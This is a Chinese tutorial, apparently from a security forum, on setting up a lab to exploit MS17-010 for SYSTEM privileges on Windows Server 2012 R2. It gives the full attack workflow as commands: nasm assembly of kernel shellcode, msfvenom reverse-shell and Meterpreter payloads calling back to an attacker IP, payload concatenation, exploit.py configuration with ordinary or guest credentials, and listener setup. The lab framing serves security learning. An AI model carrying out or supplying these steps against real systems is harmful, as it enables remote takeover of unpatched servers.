安全文库

利用Ms17-10提权Win2012测试环境搭建


先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。

投稿

  • 直接右上角【个人中心】【创建新帖子】【节点模块】选择【技术文章】。投稿时麻烦提供下可联系到作者的IM,方便审核沟通。(如未收到回复,联系wx:50421961)

  • Ps: MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧


利用ms17-10提权win2012测试环境搭建:

这里我们简单地进行测试,我们需要一个kali2017.1的虚拟机,以及一个Windows 2012 R2的目标靶机虚拟机。

利用Ms17-10提权Win2012测试环境搭建
图一 Windows 2012 R2(x64)

该漏洞可以在低权限下被利用,这种前提条件需要获得目标靶机的普通用户登录凭据(用户名和密码),一旦该漏洞被利用总会收到一个system权限的终端。

利用Ms17-10提权Win2012测试环境搭建
图二 创建一个普通账号test

利用Ms17-10提权Win2012测试环境搭建
图三 启用来宾用户guest

要理解这个漏洞如何被利用,我们必须考虑这三种类型的文件,以及我们如何创建这些文件:

  • Exploit

  • Kernel Shellcode

  • Userland Shellcode

利用Ms17-10提权Win2012测试环境搭建
图四 第一种流程图

利用Ms17-10提权Win2012测试环境搭建
图五 第二种流程图

第1步:创建 Kernel Shellcode

我们首先要创建一个Kernel Shellcode,可从下面地址中获得:

将下载的代码复制粘贴另存为kernel_shell_x64.asm,为了执行它,我们将执行这个命令:

nasm -f bin kernel_shell_x64.asm

因此,它将生成一个名为kernel_shell_x64 的文件 :

利用Ms17-10提权Win2012测试环境搭建
图六 创建 kernel_shell_x64

第2步:创建Userland Shellcode(Payload)

下一步是要创建一个 普通用户的Shellcode(为了简化,它会创建一个二进制文件,其中将包含我们的有效载荷)我们需要使用工具msfvenom

它将创建两种类型的有效负载:

  1. 一个反向tcp的有效载荷以及
  2. 一个反向msf的有效载荷Meterpreter

反向tcp的有效载荷:

msfvenom  -p  windows/x64/shell/reverse_tcp  -f raw -o  shell_msf.bin  EXITFUNC=thread  LHOST=10.0.0.86  LPORT=4444

利用Ms17-10提权Win2012测试环境搭建
图片七 创建反向tcp的有效载荷

反向msf的有效载荷Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread  LHOST=10.0.0.86  LPORT=4444

利用Ms17-10提权Win2012测试环境搭建
图八 msf的有效载荷Meterpreter

一旦创建了有效载荷,我们应该把每一个与kernel_shell_x64 文件连接起来, 这样我们将生成新的二进制文件:

cat kernel_shell_x64 shell_msf.bin> reverse_shell.bin

利用Ms17-10提权Win2012测试环境搭建
图九 生成reverse_shell.bin

利用Ms17-10提权Win2012测试环境搭建
图十 生成meterpreter.bin

我们创建一个名为binaries的文件夹,我们将文件meterpreter.binreverse_shell.bin复制到该文件下。

mkdir binarios  cp reverse_shell.bin meterpreter.bin binarios/ cd binarios/ ls

利用Ms17-10提权Win2012测试环境搭建
图十一 创建二进制文件夹和复制文件

第3步:创建exploit.py

Exploit.py创建文件,代码可以从该链接下载:

利用Ms17-10提权Win2012测试环境搭建
图十二 创建exploit.py文件

第4步:配置exploit.py与相应的用户

在下面配置中我们可以使用普通用户权限的账号也可以用来宾账号(如需要来宾则需要启用guest账号)进行修改测试。

利用Ms17-10提权Win2012测试环境搭建
图十四 test用户Exploit.py配置

第5步:监听反弹shell

利用Ms17-10提权Win2012测试环境搭建

利用Ms17-10提权Win2012测试环境搭建
图十五 shell监听反弹(Payload: windows/x64/shell/reverse_tcp)

利用Ms17-10提权Win2012测试环境搭建
图十六 msf监听反弹(Payload: windows/x64/meterpreter/reverse_tcp)

第6步:执行漏洞利用

在这一步中,我们将使用exploit.py和包含反向shellmeterpreter负载会话的二进制文件进行攻击。值为“500”的参数对应于“numGroomConn”。调整连接数量“Groom”有助于在内核中实现连续的内存池,以便覆盖缓冲区结束我们想要的位置,并实现正确的shellcode执行。

利用Ms17-10提权Win2012测试环境搭建
图十七 利用负载reverse_shell.bin

利用Ms17-10提权Win2012测试环境搭建
图十八 利用有效载荷meterpreter.bin

第7步:执行结果:

利用Ms17-10提权Win2012测试环境搭建
图十九 获取目标终端shell

利用Ms17-10提权Win2012测试环境搭建
图二十 有效载荷Meterpreter的shell